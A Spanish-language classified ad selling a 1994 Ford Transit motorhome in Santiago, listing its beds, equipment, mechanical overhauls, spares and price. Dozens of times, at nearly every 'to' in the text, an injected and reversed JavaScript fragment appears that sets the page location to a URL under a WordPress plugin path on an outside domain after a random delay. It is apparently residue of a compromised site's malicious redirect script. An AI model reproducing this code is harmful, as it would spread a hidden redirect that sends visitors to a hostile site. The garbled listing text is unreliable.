En algunos meses se termina nuestro viaje y decidimos dar la oportunidad a otra familia para que viaje en nuestra motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torhome. Estará disponible en octubre 2020, en Santiago.
El vehículo es una motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torhome Laika Ecovip 2 Ford Transit 2.5l TD de 1994, propulsión trasera doble rodado. Tendrá aproximadamente 250 000 km en octubre. Estoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores son muy resistentes.
Esta motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torhome fue preparada en 2017 para un viaje largo por las Américas.
Habitáculo:
Camas para 7 personas, 4 permanentes. 2 literas (70×180) y una sobre cabina 2 personas (140×215) (colchón cambiado en diciembre 2019).
Un salón-comedor 6/8 personas muy agradable.
Equipamientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:
– Refrigerador trivalente con compartimientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to freezer, funciona a 40ºC o a 5000m.
– Horno a gas, súper práctico para cocinar pan, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tortas, gratinados y variar su alimentación.
– Calefacción Truma gas, calienta perfectamente, ¡¡¡incluso a 4500m!!!
– Panel solar 165 w 2 baterías gel 80 amp.
– Convertidor 600w 220v.
– Termo de agua caliente.
– Ducha interior (se puede usar como ducha exterior muy fácilmente, es muy agradable cuando hace calor).
– Inodoro ecológico con separador de orina. Estoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to es sumamente práctico, no libera malos olores y permite descargar prácticamente en cualquier lugar, lo que brinda mucha más autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonomía. Muchos viajeros nos lo envidian.
– Reserva de agua limpia 150l.
– Reserva de aguas grises 100l.
– Reserva de aguas negras (orina para nosotros) 60l.
– Toldo
– Generador electrico 1500W (gasolina)
– Alarma monóxido de carbono.
– 2 extintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores
– Baúl para zapatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos
– Maletero de techo
– Bodega actividades aire libre y bodega de herramientas separadas
– Radiador eléctrico si está conectado a la red..
Numerosos armarios y arreglos.
Mesa y mesada de madera de Paraguay.
Muebles sólidos y resistentes, no es necesario volver a apretarlos cada 5000km
Dejamos toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todo el equipamientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to: mesa de camping, sillas, cilindro de gas argentino y de EEUU, vajilla, olla de presión (¡¡muy práctica a más de 3000m!!) ¡y muchas cosas más que no cabrán en nuestras maletas!
Estado muy bueno para sus años, pero tiene algunas cicatrices de guerra: perdió las 2 ventanas superiores de la parte delantera que fueron reemplazados por placas de pvc y aluminio, algunas cortinas o mosquiteros podrían ser mejorados (o no, nada grave).
La mecánica:
En 2017, antes de partir, se revisó toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totalmente la motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torhome:
– Sistemas de frenos delantero y trasero, incluyendo los flexibles
– Caja de velocidades refaccionada a cero
– Eje trasero y cardán
– Embriague y volante del motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor
– Bolilleros de las 4 ruedas
– Alternador
– Motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor de arranque
– 4 amortiguadores, los 2 traseros este año.
– Dirección hidráulica con cambio de bomba
– Turbo
– Múltiples de escape y admisión
– Filtro de combustible (Servicio completoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to)
– …y mucho más que no recuerdo. ¡Todas estas piezas tendrán menos de 100 000 km al momentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de la venta!
Mantenimientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to durante el viaje:
– Cambio de la correa de distribución, bomba de agua y correa accesorios a los 236 000 Km (por lo tantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tendrán 20 000 KM al momentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de la venta)
– Cambio de aceite y cambio de filtros cada 7 000Km.
– Cambio de la bateria motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor a los 245 000 Km
Repuestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos:
Por si acaso, preferimos partir con algunos repuestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos:
– Bolillero de ruedas traseras y delanteras
– Correa poly V
– Cable de embriague
– Rótula de dirección
– Arandelas de acople de bomba de inyección
– Pastillas de freino
Este vehículo no se ha accidentado nunca, rueda a 80/90 km/h, lo que es la velocidad autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torizada en América, y hasta ahora no ha tenido averías. Siempre ha sido bien cuidado y mantenido, ¡y seguimos cuidándolo!
Estamos orgullosos de viajar en él. Lo vendemos para evitar un fleta muy caro y contaminante y para permitir a otros viajeros que su sueño está a su alcance.
Precio: 11 000 000 $ CLP, fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos contra pedido.
